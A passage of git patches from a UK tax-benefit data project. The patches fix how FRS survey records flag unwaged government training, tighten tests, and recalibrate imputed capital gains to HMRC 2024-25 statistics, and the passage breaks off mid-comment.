+++ b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
@@ -2,6 +2,8 @@
 import pandas as pd
 import pytest
 import policyengine_uk
+from hypothesis import given
+from hypothesis import strategies as st
 import policyengine_uk_data.datasets.frs as frs_module
 
 from policyengine_uk_data.datasets.frs import (
@@ -160,20 +162,37 @@ def test_qualifying_young_person_education_inputs_use_current_education():
     assert result.tolist() == [False, True, True, True, False, False]
 
 
-def test_approved_training_uses_frs_government_training_codes():
-    person = pd.DataFrame({"train": [-1, 0, 1, 2, 9, 10, 13, np.nan]})
+def test_approved_training_reads_frs_trainee_flag():
+    person = pd.DataFrame({"trainee": [1, 2, -1, 0, np.nan, " "]})
 
     result = derive_is_in_approved_training_from_frs_person(person)
 
-    assert result.tolist() == [False, False, True, True, True, False, False, False]
+    assert result.tolist() == [True, False, False, False, False, False]
 
 
-def test_approved_training_defaults_false_when_frs_field_missing():
-    person = pd.DataFrame({"age": [16, 19]})
+@given(
+    st.lists(
+        st.one_of(st.integers(-9, 20), st.just(np.nan), st.just(" ")),
+        max_size=30,
+    )
+)
+def test_approved_training_is_exactly_trainee_yes(codes):
+    person = pd.DataFrame({"trainee": pd.Series(codes, dtype=object)})
 
     result = derive_is_in_approved_training_from_frs_person(person)
 
-    assert result.tolist() == [False, False]
+    assert result.dtype == bool
+    assert result.index.equals(person.index)
+    assert result.tolist() == [code == 1 for code in codes]
+
+
+def test_approved_training_requires_frs_trainee_column():
+    # FRS releases carry TRAIN2 and TRAINEE but no TRAIN; reading a missing
+    # column must fail the build, not code everyone as untrained.
+    person = pd.DataFrame({"age": [16, 19], "train2": [9, 9]})
+
+    with pytest.raises(KeyError, match="TRAINEE"):
+        derive_is_in_approved_training_from_frs_person(person)
 
 
 def test_qyp_entry_age_proxy_caps_current_education_or_training_at_18():
@@ -382,7 +401,9 @@ def calculate(self, variable, year=None):
         raise KeyError(variable)
 
 
-def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False):
+def create_single_adult_frs(
+    tmp_path, monkeypatch, empstati=8, with_child=False, child_overrides=None
+):
     monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
     monkeypatch.setattr(frs_module, "load_take_up_rate", lambda *args, **kwargs: 0.0)
     monkeypatch.setattr(frs_module, "load_parameter", lambda *args, **kwargs: 0.0)
@@ -451,6 +472,7 @@ def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False)
                 "tothours": 0,
                 "tuborr": 0,
                 "typeed2": 0,
+                "trainee": 2,
                 "uperson": 1,
                 "allpay2": 0,
                 "royyr2": 0,
@@ -474,7 +496,7 @@ def create_single_adult_frs(tmp_path, monkeypatch, empstati=8, with_child=False)
     if with_child:
         child = pd.DataFrame(
             [{**dict.fromkeys(child_columns, 0), "sernum": 100, "benunit": 1}]
-        ).assign(person=2, age=5, uperson=2)
+        ).assign(**{"person": 2, "age": 5, "uperson": 2, **(child_overrides or {})})
     benunit = pd.DataFrame([{"sernum": 100, "benunit": 1, "famtypb2": 1}])
     househol = pd.DataFrame(
         [
@@ -601,3 +623,29 @@ def test_create_frs_child_rows_are_child(tmp_path, monkeypatch):
 def test_create_frs_rejects_unknown_adult_empstati(tmp_path, monkeypatch):
     with pytest.raises(ValueError, match="EMPSTATI"):
         create_single_adult_frs(tmp_path, monkeypatch, empstati=12)
+
+
+@pytest.mark.parametrize("age", [16, 17, 18, 19])
+def test_create_frs_codes_child_table_trainees_as_approved_training(
+    tmp_path, monkeypatch, age
+):
+    # DWP's FRS counts a 16- to 19-year-old outside full-time education as a
+    # dependent child only when in unwaged government training (TRAINEE 1).
+    person = create_single_adult_frs(
+        tmp_path,
+        monkeypatch,
+        empstati=11,
+        with_child=True,
+        child_overrides={"age": age, "fted": 2, "educft": 2, "trainee": 1},
+    ).person.set_index("person_id")
+    trainee = person.loc[100_002]
+
+    assert trainee["current_education"] == "NOT_IN_EDUCATION"
+    assert trainee["is_in_approved_training"]
+    assert not person.loc[100_001, "is_in_approved_training"]
+    assert trainee["age_started_or_accepted_current_education_or_training"] == min(
+        age, 18
+    )
+    assert trainee[
+        "is_before_universal_credit_qualifying_young_person_terminal_date"
+    ] == (age == 19)

From c95269476236b7256285ec7f4fd5f72d459a592b Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 10 Oct 2026 20:12:57 -0400
Subject: [PATCH 06/76] Flag approved training for FRS dependants only

Review of #561 (Subfleet 20261010-193520-ud561-review-r1) found that an
adult-table trainee aged 16 to 19 would become a qualifying young person of
their own benefit unit. FRS 2024-25 has none, but 2020-21 has one and 2023-24
three. The FRS has already decided those records are not dependants, and the
adult TRAINEE question does not say the training is unwaged, so it may be
training under a contract of employment (UC reg. 5(3)).

- Flag TRAINEE = 1 on child-table records only. On FRS 2020-21, 2022-23,
  2023-24 and 2024-25 the result equals the child-table records aged 16 to 19
  outside full-time education exactly (8, 26, 16 and 20 records).
- Say why TRAINEE and not TRAIN2: `train` was TRAIN2's question name, only the
  adult table has TRAIN2, and its value labels are not in the repo.
- Property test over numeric, float and string codes and adult/child status;
  a create_frs test with an adult-table trainee in the same household.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../frs-approved-training-trainee.fixed.md    |  2 +-
 policyengine_uk_data/datasets/frs.py          | 32 +++++---
 .../tests/test_legacy_benefit_proxies.py      | 81 ++++++++++++++++---
 3 files changed, 93 insertions(+), 22 deletions(-)

diff --git a/changelog.d/frs-approved-training-trainee.fixed.md b/changelog.d/frs-approved-training-trainee.fixed.md
index cf945057..a72ab30b 100644
--- a/changelog.d/frs-approved-training-trainee.fixed.md
+++ b/changelog.d/frs-approved-training-trainee.fixed.md
@@ -1 +1 @@
-Code people on a government employment-training scheme as in approved training, from the FRS TRAINEE flag. The build read a `train` column that no FRS release has, so nobody was in approved training, and every FRS dependant aged 16 to 19 outside full-time education (all of them trainees) failed the education-or-training condition of the UC, Pension Credit, Child Benefit and Child Tax Credit qualifying-young-person tests.
+Code FRS dependants in unwaged government training as in approved training, from the TRAINEE flag on child-table records. The build read `train`, which is the question name of `TRAIN2` and not a column, so nobody was in approved training. In FRS 2024-25 that left all 20 dependants aged 16 to 19 outside full-time education (33.0k grossed, every one a trainee) failing the education-or-training condition of the UC, Pension Credit, Child Benefit and Child Tax Credit qualifying-young-person tests.
diff --git a/policyengine_uk_data/datasets/frs.py b/policyengine_uk_data/datasets/frs.py
index a007480c..3aaa96a4 100644
--- a/policyengine_uk_data/datasets/frs.py
+++ b/policyengine_uk_data/datasets/frs.py
@@ -112,8 +112,10 @@
     "UPPER_SECONDARY",
     "POST_SECONDARY",
 )
-# FRS TRAINEE, "Whether on a government scheme for employment training": 1 yes,
-# 2 no (the yes/no value format the FRS also uses for EDUCFT).
+# FRS TRAINEE, "Whether on a government scheme for employment training". It
+# shares the FRS dictionary's value format with EDUCFT, where 1 is yes; in each
+# of FRS 2020-21, 2022-23, 2023-24 and 2024-25 the child-table records aged 16
+# to 19 outside full-time education are exactly the child-table records with 1.
 FRS_TRAINEE_YES = 1
 UNKNOWN_QUALIFYING_EDUCATION_OR_TRAINING_ENTRY_AGE = 1000
 # FRS RENTPROF: whether ROYYR1 is a profit (1) or a loss (2).
@@ -367,16 +369,24 @@ def derive_is_in_non_advanced_education(
 
 def derive_is_in_approved_training_from_frs_person(
     person: pd.DataFrame,
+    adult_person_ids,
 ) -> pd.Series:
-    """Identify government employment training from the FRS TRAINEE flag.
+    """Identify FRS dependants in unwaged government training.
 
     The FRS counts a 16- to 19-year-old as a dependent child when they are in
     full-time non-advanced education or unwaged government training, so a
-    child-table record aged 16 to 19 outside full-time education is a trainee.
-    Both the adult and child tables carry TRAINEE. The build fails when it is
-    missing rather than silently marking nobody as in training: an earlier
-    version read a ``train`` column that no FRS release has, so every record
-    was coded as not in training.
+    child-table record aged 16 to 19 outside full-time education is a trainee
+    and carries TRAINEE = 1.
+
+    Adult-table records are left out. The FRS has already decided they are not
+    dependants, and their TRAINEE answer does not say the training is unwaged,
+    so it may be training under a contract of employment, which is not approved
+    training (UC Regulations 2013, reg. 5(3)). TRAIN2 names the scheme but only
+    the adult table has it.
+
+    The build fails when TRAINEE is missing rather than marking nobody as in
+    training: an earlier version read TRAIN2's question name, ``train``, which
+    is not a column, so every record was coded as not in training.
     """
 
     if "trainee" not in person.columns:
@@ -384,7 +394,9 @@ def derive_is_in_approved_training_from_frs_person(
             "The FRS person table has no TRAINEE column, so approved training "
             "cannot be derived."
         )
-    return pd.to_numeric(person.trainee, errors="coerce").eq(FRS_TRAINEE_YES)
+    is_trainee = pd.to_numeric(person.trainee, errors="coerce").eq(FRS_TRAINEE_YES)
+    is_adult_record = person.person_id.isin(np.asarray(adult_person_ids))
+    return is_trainee & ~is_adult_record
 
 
 def derive_age_started_or_accepted_current_education_or_training(
@@ -1066,7 +1078,7 @@ def determine_education_level(fted_val, typeed2_val, age_val):
         pe_person.current_education
     )
     pe_person["is_in_approved_training"] = (
-        derive_is_in_approved_training_from_frs_person(person)
+        derive_is_in_approved_training_from_frs_person(person, frs["adult"].person_id)
     )
     pe_person["age_started_or_accepted_current_education_or_training"] = (
         derive_age_started_or_accepted_current_education_or_training(
diff --git a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
index c3ed0309..7ba98fb1 100644
--- a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
+++ b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
@@ -162,37 +162,71 @@ def test_qualifying_young_person_education_inputs_use_current_education():
     assert result.tolist() == [False, True, True, True, False, False]
 
 
-def test_approved_training_reads_frs_trainee_flag():
-    person = pd.DataFrame({"trainee": [1, 2, -1, 0, np.nan, " "]})
+def test_approved_training_reads_frs_trainee_flag_for_dependants():
+    # Rows as create_frs passes them: numeric after to_numeric and fillna(0).
+    person = pd.DataFrame(
+        {
+            "person_id": [1, 2, 3, 4, 5, 6],
+            "trainee": [1.0, 2.0, 0.0, -1.0, 1.0, 2.0],
+        }
+    )
 
-    result = derive_is_in_approved_training_from_frs_person(person)
+    result = derive_is_in_approved_training_from_frs_person(
+        person, adult_person_ids=[5, 6]
+    )
 
+    # Person 5 is an adult-table trainee: not an FRS dependant, so not flagged.
     assert result.tolist() == [True, False, False, False, False, False]
 
 
+def _is_one(code) -> bool:
+    try:
+        return float(code) == 1.0
+    except (TypeError, ValueError):
+        return False
+
+
 @given(
     st.lists(
-        st.one_of(st.integers(-9, 20), st.just(np.nan), st.just(" ")),
+        st.tuples(
+            st.one_of(
+                st.integers(-9, 20),
+                st.sampled_from([1.0, 2.0, 0.0, np.nan, " ", "1", "2", ""]),
+            ),
+            st.booleans(),
+        ),
         max_size=30,
     )
 )
-def test_approved_training_is_exactly_trainee_yes(codes):
-    person = pd.DataFrame({"trainee": pd.Series(codes, dtype=object)})
+def test_approved_training_is_exactly_a_dependant_answering_yes(rows):
+    codes = [code for code, _ in rows]
+    is_adult = [adult for _, adult in rows]
+    person = pd.DataFrame(
+        {
+            "person_id": range(len(rows)),
+            "trainee": pd.Series(codes, dtype=object),
+        }
+    )
+    adult_person_ids = [i for i, adult in enumerate(is_adult) if adult]
 
-    result = derive_is_in_approved_training_from_frs_person(person)
+    result = derive_is_in_approved_training_from_frs_person(person, adult_person_ids)
 
     assert result.dtype == bool
     assert result.index.equals(person.index)
-    assert result.tolist() == [code == 1 for code in codes]
+    assert result.tolist() == [
+        _is_one(code) and not adult for code, adult in zip(codes, is_adult)
+    ]
+    # No adult-table record is ever flagged, whatever it answers.
+    assert not result[person.person_id.isin(adult_person_ids)].any()
 
 
 def test_approved_training_requires_frs_trainee_column():
     # FRS releases carry TRAIN2 and TRAINEE but no TRAIN; reading a missing
     # column must fail the build, not code everyone as untrained.
-    person = pd.DataFrame({"age": [16, 19], "train2": [9, 9]})
+    person = pd.DataFrame({"person_id": [1, 2], "age": [16, 19], "train2": [9, 9]})
 
     with pytest.raises(KeyError, match="TRAINEE"):
-        derive_is_in_approved_training_from_frs_person(person)
+        derive_is_in_approved_training_from_frs_person(person, adult_person_ids=[])
 
 
 def test_qyp_entry_age_proxy_caps_current_education_or_training_at_18():
@@ -402,7 +436,12 @@ def calculate(self, variable, year=None):
 
 
 def create_single_adult_frs(
-    tmp_path, monkeypatch, empstati=8, with_child=False, child_overrides=None
+    tmp_path,
+    monkeypatch,
+    empstati=8,
+    with_child=False,
+    child_overrides=None,
+    adult_overrides=None,
 ):
     monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
     monkeypatch.setattr(frs_module, "load_take_up_rate", lambda *args, **kwargs: 0.0)
@@ -490,6 +529,7 @@ def create_single_adult_frs(
             }
         ]
     )
+    adult = adult.assign(**(adult_overrides or {}))
     # The FRS child table has no EMPSTATI column.
     child_columns = adult.columns.drop("empstati")
     child = pd.DataFrame(columns=child_columns)
@@ -649,3 +689,22 @@ def test_create_frs_codes_child_table_trainees_as_approved_training(
     assert trainee[
         "is_before_universal_credit_qualifying_young_person_terminal_date"
     ] == (age == 19)
+
+
+@pytest.mark.parametrize("child_trainee", [1, 2])
+def test_create_frs_leaves_adult_table_trainees_out_of_approved_training(
+    tmp_path, monkeypatch, child_trainee
+):
+    # An adult-table trainee is not an FRS dependant, and their training may be
+    # waged, so only the child-table record can be in approved training.
+    person = create_single_adult_frs(
+        tmp_path,
+        monkeypatch,
+        empstati=11,
+        with_child=True,
+        child_overrides={"age": 17, "fted": 2, "educft": 2, "trainee": child_trainee},
+        adult_overrides={"age80": 18, "trainee": 1},
+    ).person.set_index("person_id")
+
+    assert not person.loc[100_001, "is_in_approved_training"]
+    assert person.loc[100_002, "is_in_approved_training"] == (child_trainee == 1)

From 98b2583c14ae32f576374360c3bdf7c5c6276ff1 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 10 Oct 2026 21:09:46 -0400
Subject: [PATCH 07/76] State the TRAINEE pattern as observed, and fix the
 adult fixture's age

Delta review r2 of #561 (Subfleet 20261010-201405-ud561-review-r2, APPROVE
WITH NITS at c9526947):

- The docstring said a dependant outside full-time education "carries
  TRAINEE = 1" as if it were guaranteed. It is what the four FRS releases
  checked show, so say that, and call the adult exclusion a proxy.
- The adult-trainee fixture set age80 = 18 but kept age = 30, and create_frs
  adds the two, so it built a 48-year-old. Set age = 0 and assert age 18.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/datasets/frs.py           | 18 +++++++++---------
 .../tests/test_legacy_benefit_proxies.py       |  3 ++-
 2 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/policyengine_uk_data/datasets/frs.py b/policyengine_uk_data/datasets/frs.py
index 3aaa96a4..ddd00260 100644
--- a/policyengine_uk_data/datasets/frs.py
+++ b/policyengine_uk_data/datasets/frs.py
@@ -374,15 +374,15 @@ def derive_is_in_approved_training_from_frs_person(
     """Identify FRS dependants in unwaged government training.
 
     The FRS counts a 16- to 19-year-old as a dependent child when they are in
-    full-time non-advanced education or unwaged government training, so a
-    child-table record aged 16 to 19 outside full-time education is a trainee
-    and carries TRAINEE = 1.
-
-    Adult-table records are left out. The FRS has already decided they are not
-    dependants, and their TRAINEE answer does not say the training is unwaged,
-    so it may be training under a contract of employment, which is not approved
-    training (UC Regulations 2013, reg. 5(3)). TRAIN2 names the scheme but only
-    the adult table has it.
+    full-time non-advanced education or unwaged government training. In each
+    of FRS 2020-21, 2022-23, 2023-24 and 2024-25, every child-table record
+    aged 16 to 19 outside full-time education carries TRAINEE = 1.
+
+    Leaving adult-table records out is a proxy. The FRS has already decided
+    they are not dependants, and their TRAINEE answer does not say the training
+    is unwaged, so it may be training under a contract of employment, which is
+    not approved training (UC Regulations 2013, reg. 5(3)). TRAIN2 names the
+    scheme but only the adult table has it.
 
     The build fails when TRAINEE is missing rather than marking nobody as in
     training: an earlier version read TRAIN2's question name, ``train``, which
diff --git a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
index 7ba98fb1..92017b0e 100644
--- a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
+++ b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
@@ -703,8 +703,9 @@ def test_create_frs_leaves_adult_table_trainees_out_of_approved_training(
         empstati=11,
         with_child=True,
         child_overrides={"age": 17, "fted": 2, "educft": 2, "trainee": child_trainee},
-        adult_overrides={"age80": 18, "trainee": 1},
+        adult_overrides={"age": 0, "age80": 18, "trainee": 1},
     ).person.set_index("person_id")
 
+    assert person.loc[100_001, "age"] == 18
     assert not person.loc[100_001, "is_in_approved_training"]
     assert person.loc[100_002, "is_in_approved_training"] == (child_trainee == 1)

From 47fa84eeac7060a863c1ebd3a8a46f7b49ce5b30 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sun, 11 Oct 2026 11:32:02 -0400
Subject: [PATCH 08/76] Serve the SPI merge test the committed table, and fix
 the sampling date

Review r2 (APPROVE_WITH_NITS): with the live ODS download failing, the merge
test passed even without the merge, because only the projection targets were
emitted. The test now serves get_income_band_table from incomes.csv, checks the
outturn year as well as the projected years through the calibration resolver,
and requires every SPI target to carry all of them. The comment now names
30 April N, the date convert_to_fiscal_year_parameters samples.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../targets/sources/hmrc_spi.py               |  5 +-
 .../tests/test_income_projection.py           | 50 +++++++++++--------
 2 files changed, 33 insertions(+), 22 deletions(-)

diff --git a/policyengine_uk_data/targets/sources/hmrc_spi.py b/policyengine_uk_data/targets/sources/hmrc_spi.py
index 080320cd..c76c60bc 100644
--- a/policyengine_uk_data/targets/sources/hmrc_spi.py
+++ b/policyengine_uk_data/targets/sources/hmrc_spi.py
@@ -54,8 +54,9 @@
 _BAND_UPPER = _BAND_LOWER[1:] + [float("inf")]
 
 # SPI year: the ODS is for tax year 2023-24. PolicyEngine UK's year N is
-# tax year N to N+1 (parameters take their 6 April N value), so the
-# outturn belongs to 2023. Later years come from incomes_projection.csv.
+# tax year N to N+1 (policyengine-uk's convert_to_fiscal_year_parameters
+# reads each parameter at 30 April N), so the outturn belongs to 2023.
+# Later years come from incomes_projection.csv.
 _SPI_YEAR = 2023
 
 # HMRC Property Rental Income Statistics show ~1.9x more property income
diff --git a/policyengine_uk_data/tests/test_income_projection.py b/policyengine_uk_data/tests/test_income_projection.py
index ad7c71ef..944bab16 100644
--- a/policyengine_uk_data/tests/test_income_projection.py
+++ b/policyengine_uk_data/tests/test_income_projection.py
@@ -174,36 +174,43 @@ def test_spi_year_is_the_start_of_the_configured_tax_year():
     assert _SPI_YEAR == 2000 + start
 
 
-def test_calibration_reads_the_projected_spi_targets(projections):
+def test_calibration_reads_the_projected_spi_targets(
+    projections, base_targets, monkeypatch
+):
     """Calibration (build_loss_matrix) fetches targets without a year filter,
     and the registry keeps only the first target of each name. Every SPI band
-    must therefore be one target carrying all its years; if the projected
-    years sit on a second target of the same name they are dropped, and the
-    base-year outturn is carried forward unuprated instead."""
+    must therefore be one target carrying its outturn and every projected
+    year; if the projected years sit on a second target of the same name they
+    are dropped, and the outturn is carried forward unuprated instead.
+
+    The official table is served from the committed incomes.csv, so the
+    outturn targets are always present and the test needs no download.
+    """
     from policyengine_uk_data.targets import get_all_targets
     from policyengine_uk_data.targets.build_loss_matrix import _resolve_value
-    from policyengine_uk_data.targets.sources.hmrc_spi import (
-        _PROPERTY_INCOME_SCALE,
-        INCOME_VARIABLES,
-        _format_band_label,
-        get_targets,
-    )
+    from policyengine_uk_data.targets.sources import hmrc_spi
 
-    names = [t.name for t in get_targets()]
+    def committed_table(include_aggregate: bool = True) -> pd.DataFrame:
+        if include_aggregate:
+            return base_targets
+        return _without_aggregate(base_targets).reset_index(drop=True)
+
+    monkeypatch.setattr(hmrc_spi, "get_income_band_table", committed_table)
+
+    names = [t.name for t in hmrc_spi.get_targets()]
     assert len(names) == len(set(names))
 
     spi = {t.name: t for t in get_all_targets() if t.source == "hmrc_spi"}
+    expected = _without_aggregate(projections[projections["year"] >= _SPI_YEAR])
     checked = 0
-    for row in _without_aggregate(projections).itertuples():
-        if row.year <= _SPI_YEAR:
-            continue
-        label = _format_band_label(
+    for row in expected.itertuples():
+        label = hmrc_spi._format_band_label(
             row.total_income_lower_bound, row.total_income_upper_bound
         )
-        for variable in INCOME_VARIABLES:
+        for variable in hmrc_spi.INCOME_VARIABLES:
             amount = getattr(row, f"{variable}_amount")
             if variable == "property_income":
-                amount *= _PROPERTY_INCOME_SCALE
+                amount *= hmrc_spi._PROPERTY_INCOME_SCALE
             amount_target = spi[f"hmrc/{variable}_income_band_{label}"]
             count_target = spi[f"hmrc/{variable}_count_income_band_{label}"]
             assert _resolve_value(amount_target, row.year) == pytest.approx(amount)
@@ -211,6 +218,9 @@ def test_calibration_reads_the_projected_spi_targets(projections):
                 getattr(row, f"{variable}_count")
             )
             checked += 2
-    assert checked == 2 * len(INCOME_VARIABLES) * len(
-        _without_aggregate(projections[projections["year"] > _SPI_YEAR])
-    )
+    assert checked == 2 * len(hmrc_spi.INCOME_VARIABLES) * len(expected)
+
+    years = set(projections["year"])
+    assert _SPI_YEAR in years
+    for target in spi.values():
+        assert set(target.values) == years, target.name

From d071ad0f2b628352ab4a602eb18f83a8ca2be352 Mon Sep 17 00:00:00 2001
From: Max Ghenis <max@policyengine.org>
Date: Sun, 11 Oct 2026 20:12:46 -0400
Subject: [PATCH 09/76] Start capital gains on HMRC's 2024-25 size-of-gain
 table
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The 1.58.0 enhanced FRS carries £53bn of gains above the annual exempt
amount, and -£15bn of losses on 1.4m people, against the £65.9bn the
build targeted and the £119.3bn HMRC now reports for individuals in
2024-25 (uk-data#570).

The calibration started 17 times over on CGT taxpayers and 5 times over
on gains: the has-gains copy of each zero-weight SPI household kept a
zero weight, so it received a full zero-weight prior, the same as its
no-gains original. After 512 epochs the taxpayer count was still 56%
over while the £12,300 to £250,000 bands had overshot to 23-64% under.

- Split every household's mass between itself and a has-gains twin by
  the Advani-Summers share for its income band, in closed form, and
  split a zero-weight household the same way.
- Give no twin to draws at or under the lowest HMRC band limit, losses
  included: no target describes them.
- Stack donors only for the bands from £500,000 up.
- Scale the calibration's starting weights so each HMRC size band's
  taxpayer count begins on target (rake_priors_to_targets).
- Target Table 2.1a for 2024-25 (2026 release), individuals only, from
  the £3,000 exempt amount up, with the aggregates as the band sums.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../capital-gains-hmrc-2024-25.fixed.md       |   1 +
 docs/imputations.md                           |  11 +-
 .../datasets/create_datasets.py               |  11 +-
 .../datasets/imputations/capital_gains.py     | 375 +++++++++---------
 .../local_areas/constituencies/calibrate.py   |   2 +
 .../local_authorities/calibrate.py            |   2 +
 .../capital_gains_size_distribution_hmrc.csv  |  55 +--
 .../targets/sources/hmrc_cgt.py               | 180 +++++----
 .../tests/test_calibration_priors.py          | 119 ++++++
 .../tests/test_capital_gains_imputation.py    | 302 ++++++++++++++
 .../tests/test_cgt_band_donors.py             | 130 ++++--
 .../tests/test_hmrc_cgt_targets.py            |  16 +-
 .../tests/test_imputation_source_flags.py     |  34 +-
 policyengine_uk_data/utils/calibrate.py       |  64 +++
 14 files changed, 965 insertions(+), 337 deletions(-)
 create mode 100644 changelog.d/capital-gains-hmrc-2024-25.fixed.md
 create mode 100644 policyengine_uk_data/tests/test_calibration_priors.py
 create mode 100644 policyengine_uk_data/tests/test_capital_gains_imputation.py

diff --git a/changelog.d/capital-gains-hmrc-2024-25.fixed.md b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
new file mode 100644
index 00000000..edb114a8
--- /dev/null
+++ b/changelog.d/capital-gains-hmrc-2024-25.fixed.md
@@ -0,0 +1 @@
+- Calibrate capital gains to HMRC's 2024-25 outturn for individuals (Capital Gains Tax statistics, 2026 release: 548,000 taxpayers with £119.3bn of gains above the annual exempt amount) and start the calibration on it. The 1.58.0 build targeted the 2023-24 all-taxpayer headline (£65.9bn, including trusts) and ended 19% under even that, with £53bn of gains above the exempt amount and a further -£15bn of losses on 1.4m people. Its calibration started 17 times over on CGT taxpayers, because the has-gains copy of each zero-weight SPI household received a full prior weight. Each household now splits its mass between itself and a has-gains twin by the Advani-Summers share for its income band, zero-weight households included; draws at or under the exempt amount, including losses, carry no gains; donors cover only the size bands from £500,000 up; and the calibration scales its starting weights so every HMRC size band's taxpayer count begins on target. The aggregate targets are now the sums of the size-band targets.
diff --git a/docs/imputations.md b/docs/imputations.md
index 75fd1a56..e6f7da16 100644
--- a/docs/imputations.md
+++ b/docs/imputations.md
@@ -160,14 +160,15 @@ Imputes detailed income components to create "synthetic taxpayers" with higher i
 
 ## Capital Gains Imputation
 
-**Source:** Advani-Summers capital gains distribution data
+**Sources:** Advani-Summers capital gains distribution data; HMRC Capital Gains Tax statistics, Table 2.1a (individuals, by size of gain)
 
-Uses a gradient-based optimization approach rather than QRF. The dataset is doubled, with one half receiving imputed capital gains amounts. Weights are then optimized to match the empirical relationship between total income and capital gains incidence.
+Not a QRF. Advani and Summers give, for each band of total income, the share of people with gains and the percentiles of those gains. HMRC gives the number of individuals with a CGT liability, and their gains, by size of gain. The imputation takes who holds gains from the first and how many hold how much from the second.
 
 ### Method
-1. Double the dataset (original + clone)
-2. Assign capital gains to one adult per household in the cloned half
-3. Optimize blend weights to match income-band capital gains incidence from Advani-Summers data
+1. Each household's first adult draws a gain from their income band's Advani-Summers distribution.
+2. Where the draw is above the lowest HMRC size band limit (the £3,000 annual exempt amount), the household is stacked again as a has-gains twin carrying the gain. Its mass is split between twin and original so that the share of people with gains in each income band follows Advani-Summers. A zero-weight (SPI synthetic) household is split in the same proportion, using the weight that earns its calibration prior. Smaller draws, including losses, get no twin: HMRC publishes liable taxpayers only, so nothing would anchor them.
+3. The spline stops at each band's 95th percentile, so few draws exceed £500,000 and none exceeds about £2m. For each HMRC size band from £500,000 up, 30 donor households are stacked carrying the band's published mean gain.
+4. Calibration targets the taxpayer count and the gains of each HMRC size band, and their totals. Before the first epoch it scales the starting weights so that each band's taxpayer count is on its target.
 
 ---
 
diff --git a/policyengine_uk_data/datasets/create_datasets.py b/policyengine_uk_data/datasets/create_datasets.py
index 31008183..7bf21e93 100644
--- a/policyengine_uk_data/datasets/create_datasets.py
+++ b/policyengine_uk_data/datasets/create_datasets.py
@@ -191,9 +191,9 @@ def main():
 
             update_dataset("Impute capital gains", "processing")
             frs = impute_capital_gains(frs)
-            # Zero-weight donors for the HMRC size-of-gain bands the spline
-            # cannot reach; weighted (or not) by calibration via the
-            # per-band targets in targets/sources/hmrc_cgt.py.
+            # Donors for the HMRC size-of-gain bands the spline cannot
+            # reach; weighted by calibration via the per-band targets in
+            # targets/sources/hmrc_cgt.py.
             from policyengine_uk_data.datasets.imputations.capital_gains import (
                 stack_cgt_band_donors,
             )
@@ -264,6 +264,9 @@ def main():
             from policyengine_uk_data.datasets.local_areas.constituencies.calibrate import (
                 get_performance,
             )
+            from policyengine_uk_data.targets.sources.hmrc_cgt import (
+                band_count_target_names,
+            )
 
             # Run calibration with verbose progress
             frs_calibrated_constituencies = calibrate_local_areas(
@@ -281,6 +284,7 @@ def main():
                 get_performance=get_performance,
                 nested_progress=nested_progress,  # Pass the nested progress manager
                 time_period=frs_release.calibration_year,
+                prior_rake_targets=band_count_target_names(),
             )
             update_dataset("Calibrate constituency weights", "completed")
 
@@ -308,6 +312,7 @@ def main():
                 get_performance=get_la_performance,
                 nested_progress=nested_progress,  # Pass the nested progress manager
                 time_period=frs_release.calibration_year,
+                prior_rake_targets=band_count_target_names(),
             )
             update_dataset("Calibrate local authority weights", "completed")
 
diff --git a/policyengine_uk_data/datasets/imputations/capital_gains.py b/policyengine_uk_data/datasets/imputations/capital_gains.py
index a7271d7c..8e60f2ab 100644
--- a/policyengine_uk_data/datasets/imputations/capital_gains.py
+++ b/policyengine_uk_data/datasets/imputations/capital_gains.py
@@ -1,16 +1,15 @@
-import pandas as pd
+import logging
+
 import numpy as np
-from policyengine_uk_data.utils.stack import stack_datasets
+import pandas as pd
+from policyengine_uk.data import UKSingleYearDataset
 
 # Fit a spline to each income band's percentiles
 from scipy.interpolate import UnivariateSpline
 
 from policyengine_uk_data.storage import STORAGE_FOLDER
-
-import torch
-from torch.optim import Adam
-from policyengine_uk.data import UKSingleYearDataset
-import logging
+from policyengine_uk_data.targets.sources.hmrc_cgt import load_size_bands
+from policyengine_uk_data.utils.stack import stack_datasets
 
 capital_gains = pd.read_csv(
     STORAGE_FOLDER / "capital_gains_distribution_advani_summers.csv.gz"
@@ -22,226 +21,252 @@
 # Silence verbose logging
 logging.getLogger("root").setLevel(logging.WARNING)
 
-
-def impute_cg_to_doubled_dataset(
-    dataset: UKSingleYearDataset,
-) -> tuple[np.ndarray, np.ndarray]:
-    """Assumes that the capital gains distribution is the same for all years."""
-
+# --- Has-gains twins --------------------------------------------------------
+#
+# Advani & Summers give, for each band of total income, the share of people
+# with gains and the percentiles of those gains. Each household's first adult
+# draws a gain from their band's distribution. Where that gain is one HMRC's
+# statistics describe (above the lowest size-of-gain band limit, the annual
+# exempt amount), the household is stacked a second time as a "has-gains
+# twin" carrying the gain, and the household's mass is split between the two
+# records so that the share of people with gains in each income band follows
+# the table. Calibration then moves weight between a household and its twin,
+# pulled by the HMRC targets in targets/sources/hmrc_cgt.py, without
+# disturbing any other target.
+#
+# Draws at or under that limit, including the net losses in the table's
+# lower percentiles, get no twin. HMRC publishes liable taxpayers only, so
